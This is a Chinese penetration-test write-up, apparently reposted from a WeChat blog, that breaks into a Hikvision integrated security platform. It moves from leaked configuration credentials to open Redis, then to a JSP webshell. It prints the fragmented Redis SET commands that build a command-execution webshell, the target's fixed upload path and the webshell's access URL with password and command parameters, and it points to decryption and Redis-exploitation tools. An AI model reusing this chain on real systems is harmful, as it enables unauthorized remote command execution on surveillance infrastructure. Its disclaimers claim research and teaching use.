挖洞实战 | 记一次海康综合安防系统从Redis到内网

admin 2024年10月16日17:54:24评论30 views字数 1757阅读5分51秒阅读模式
挖洞实战 | 记一次海康综合安防系统从Redis到内网

记一次海康综合安防系统从Redis到内网

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。

还在学怎么挖通用漏洞和src吗?快来加入星球-考证请加联系vx咨询

于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

某次项目,扫描器扫出来了海康威视-综合安防管理平台 config.properties 文件存在敏感信息泄露漏洞

挖洞实战 | 记一次海康综合安防系统从Redis到内网

挖洞实战 | 记一次海康综合安防系统从Redis到内网

由于以上的password值是加密的,可以使用以下工具进行解密

https://github.com/wafinfo/DecryptTools

挖洞实战 | 记一次海康综合安防系统从Redis到内网

Pg连接上,权限不够 无法打开用户表

挖洞实战 | 记一次海康综合安防系统从Redis到内网

Redis能连接上

挖洞实战 | 记一次海康综合安防系统从Redis到内网

此时四个思路,反弹shell写SSH公钥主从复制(版本够低)写Webshell(要有路径)

第一种思路:反弹shell(失败)

本来以为是机子不出网,无法反弹shell

后续拿下系统权限后,看了一下目录,确实是写进去了但无法执行。

挖洞实战 | 记一次海康综合安防系统从Redis到内网

第二种思路:写SSH公钥(失败)

利用条件:

● Redis服务使用root账号启动
● 成功连接redis
● 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录

挖洞实战 | 记一次海康综合安防系统从Redis到内网

后续拿到权限翻系统文件后,确定是没有.ssh文件夹所以写不了

第三种思路:主从复制(生产环境,怕出问题所以没有采用这种打法)

这里用到的脚本为:(强烈推荐!)

https://github.com/yuyan-sec/RedisEXP

挖洞实战 | 记一次海康综合安防系统从Redis到内网

第四种思路:写Webshell(要有路径)

这时候有一个问题? 路径哪里来?

思路:由于综合安防系统的路径比较固定且存在多个文件上传漏洞,直接去找之前的文件上传漏洞都是上传到了哪个文件夹,我们对应的把Webshell写到该文件夹下即可。

这里找到一个历史文件上传漏洞

挖洞实战 | 记一次海康综合安防系统从Redis到内网

挖洞实战 | 记一次海康综合安防系统从Redis到内网

再结合Redis中info的信息,确定我们的上传路径应该为

/home/hikvision/web/components/tomcat85linux64.1/webapps/els/static/

挖洞实战 | 记一次海康综合安防系统从Redis到内网

成功!

现在就要解决怎么写入jspWebshell的问题了。

但是这个才是本章文章中最难的地方。

网上普遍都是写入php类型的webshell,但是由于jsp类型的webshell长度非常长,且由于reids缓存的原因,很难写入完整的webshell(会有大量的脏数据)。

但是还好找到一篇文章,已经有前人对此问题进行研究了

文章如下:

https://cloud.tencent.com/developer/article/2422977

挖洞实战 | 记一次海康综合安防系统从Redis到内网

挖洞实战 | 记一次海康综合安防系统从Redis到内网

按文章最后的关闭Redis默认压缩未成功

挖洞实战 | 记一次海康综合安防系统从Redis到内网

挖洞实战 | 记一次海康综合安防系统从Redis到内网

没成功,时间比较赶,那么就按文章中前面的分段写入试试。

按以上文章的顺序先写到txt中

set x '*/byte[] b = new byte[2048];/*'set x2 '*/out.print("<pre>");/*'set x3 '*/out.print("</pre>");}%>'set x4 '*/request.getParameter("i")).getInputStream();/*'set x5 '/r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'set x6 '*/java.io.InputStream in = Runtime.getRuntime().exec(/*'set x7 '*/int a = -1;/*'set x8 '*/while ((a = in.read(b)) != -1) {/*'set x9 '*/out.println(new String(b));}/*'x5 - x6 - x4 - x7 - x - x2 - x8 - x9 - x3

然后访问写入的txt,会发现不是按文章中的顺序

x5 - x6 - x4 - x7 - x - x2 - x8 - x9 - x3

(顺序本身就是随机的,但是要隔一定时间才会变化)

不过没事,我们可以再根据txt中的每个段自己再确定一下顺序(这步看看上面文章就懂了)

最后确定顺序为

x7 x5 x8 x9 x3 x6 x4 x x2

挖洞实战 | 记一次海康综合安防系统从Redis到内网

访问

/els/static/999.jsp?pwd=023&i=ifconfig

成功拿下!

挖洞实战 | 记一次海康综合安防系统从Redis到内网

后续由于不让进行内网渗透,点到为止。

原文始发于微信公众号(不秃头的安全):挖洞实战 | 记一次海康综合安防系统从Redis到内网

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日17:54:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   挖洞实战 | 记一次海康综合安防系统从Redis到内网https://cn-sec.com/archives/3276569.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息